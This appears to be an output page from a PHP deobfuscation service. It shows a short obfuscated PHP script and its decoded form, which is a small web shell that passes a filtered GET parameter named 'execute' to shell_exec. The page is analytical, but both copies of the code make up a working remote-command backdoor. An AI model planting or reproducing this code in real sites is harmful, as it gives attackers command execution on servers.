Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function f($i) { return base64_decode($i); } function m($i) { return strlen($i)..

Decoded Output download

<?php 
 
function f($i) { return base64_decode($i); }  
function m($i) { return strlen($i) >= 12 or preg_match("/\s/", $i) or preg_match("/[$\{\}\(\)]/", $i); }  
$c = array("ZQ", "eA", "Yw", "dQ", "dA");  
$c = array_map(function ($v) { return $v . "=="; }, $c);  
$a = $_GET["id"];  
$b = $_GET[f($c[0]) . f($c[1]) . f($c[0]) . f($c[2]) . f($c[3]) . f($c[4]) . f($c[0])];  
if (!isset($a) or !isset($b)) { show_source(__FILE__); die; }  
if (!isset($a) or m($b)) { show_source(__FILE__); die; } else { if (!m($b)) { echo shell_exec($b); } }  
 
?> 

Did this file decode correctly?

Original Code

<?php

function f($i) { return base64_decode($i); } 
function m($i) { return strlen($i) >= 12 or preg_match("\x2f\134\x73\x2f", $i) or preg_match("\x2f\x5b\44\134\x7b\x5c\x7d\x5c\50\134\x29\135\57", $i); } 
$c = array("\132\x51", "\145\101", "\131\167", "\144\121", "\x64\101"); 
$c = array_map(function ($v) { return $v . "\75\75"; }, $c); 
$a = $_GET["\x69\x64"]; 
$b = $_GET[f($c[0]) . f($c[1]) . f($c[0]) . f($c[2]) . f($c[3]) . f($c[4]) . f($c[0])]; 
if (!isset($a) or !isset($b)) { show_source(__FILE__); die; } 
if (!isset($a) or m($b)) { show_source(__FILE__); die; } else { if (!m($b)) { echo shell_exec($b); } } 

?> 

Function Calls

None

Variables

$c [{'key': 0, 'value': 'ZQ'}, {'key': 1, 'value': 'eA'}, {'key': 2, 'value': 'Yw'}, {'key': 3, 'value': 'dQ'}, {'key': 4, 'value': 'dA'}]

Stats

MD5 ab3ead6df3b6e4fc8f830ee7bb151384
Eval Count 0
Decode Time 43 ms